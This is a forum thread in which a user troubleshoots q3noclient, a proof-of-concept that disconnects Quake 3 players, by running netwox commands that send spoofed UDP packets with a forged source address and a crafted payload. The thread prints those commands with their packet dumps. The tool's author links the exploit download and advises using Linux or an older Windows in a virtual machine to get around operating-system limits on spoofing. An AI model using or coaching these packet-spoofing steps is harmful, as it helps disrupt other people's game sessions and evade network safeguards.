q3noclient

sharkinfested · **Joined:** 30 Sep 2007 13:41 **Posts:** 3

having problems with this:

Code:

netwox 39 -l 200.X.X.X -m 90.X.X.X -o 28070 -p 47369 -q ffffff7f
IP______________________________________________________________.
|version|  ihl  |      tos      |            totlen             |
|___4___|___5___|____0x00=0_____|___________0x0020=32___________|
|              id               |r|D|M|       offsetfrag        |
|_________0x3020=12320__________|0|0|0|________0x0000=0_________|
|      ttl      |   protocol    |           checksum            |
|____0x00=0_____|____0x11=17____|____________0x81CA_____________|
|                            source                             |
|_________________________200.X.X.X__________________________|
|                          destination                          |
|_________________________90.X.X.X__________________________|
UDP_____________________________________________________________.
|          source port          |       destination port        |
|_________0x6DA6=28070__________|_________0xB909=47369__________|
|            length             |           checksum            |
|___________0x000C=12___________|_________0xD0C2=53442__________|
ff ff ff 7f                                         # ....

Command returned 0 (OK)

nothing happens to my client or anyone elses when I run it, same when run in command prompt:

Code:

C:\Documents and Settings\XXXXX>\q3noclient\netwox.exe 39 -l 200.X.X.X -m 90.X.X.X -o 28070 -p 47369 -q ffffff7f
IP______________________________________________________________.
|version|  ihl  |      tos      |            totlen             |
|___4___|___5___|____0x00=0_____|___________0x0020=32___________|
|              id               |r|D|M|       offsetfrag        |
|_________0x3E87=16007__________|0|0|0|________0x0000=0_________|
|      ttl      |   protocol    |           checksum            |
|____0x00=0_____|____0x11=17____|____________0x8758_____________|
|                            source                             |
|_________________________200.X.X.X__________________________|
|                          destination                          |
|_________________________90.X.X.X__________________________|
UDP_____________________________________________________________.
|          source port          |       destination port        |
|_________0x6DA6=28070__________|_________0x345E=13406__________|
|            length             |           checksum            |
|___________0x000C=12___________|_________0x6963=26979__________|
ff ff ff 7f                                         # ....

any ideas?

aluigi · **Posted:** 23 Sep 2008 20:49

uhmmm don't have idea anyway try using the q3noclient tool http://aluigi.org/poc/q3noclient.zip
the problems can be various (you can't spoof packets or one or more parameters are wrong)

evan1715 · **Posted:** 23 Sep 2008 21:15

blarg? whats with the ______________ u know if u use the code instead of quote it keeps ur spaces if that is why u did that.

sharkinfested · **Joined:** 30 Sep 2007 13:41 **Posts:** 3

maybe images will be more clearer:

while using this string with command prompt

\q3noclient\q3noclient -s 28070 -c 47369 208.XX.XX.XX 92.X.XXX.XX

but that error has been explained elsewhere, moving on.

while using this string with netwox

-l 208.x.x.x -m 92.x.xxx.xx -o 28070 -p 47369 -q ffffff7f

Using this in command prompt

\q3noclient\netwox.exe

then 5 "5 - run a tool selecting parameters on command line"

then "Select tool number (between 1 and 222):" 39

netwox 39 -l 208.43.15.13 -m 92.5.127.43 -o 28070 -p 47369 -q ffffff7f

(same as above)

probaby confused you now eh >.>

btw im on XP and using the program given here http://aluigi.org/poc/q3noclient-win.txt

aluigi · **Posted:** 24 Sep 2008 00:55

The updated Windows XP doesn't allow to send packets with a source address different to those of its interfaces (you have not specified if the client IP was the one assigned to your interface or not).
you can only try using Linux or another operating system or another older version of Windows XP/2003 under a virtual machine like Virtualbox which in my tests was able to bypass the limitations of the OS.

Then there are many other factors to take in consideration like if you are behing router or NAT and so if the client port which is visible on the server is the same one of your client (NAT job) or if your ISP blocks the spoofed packets and so on.

Luigi Auriemma

q3noclient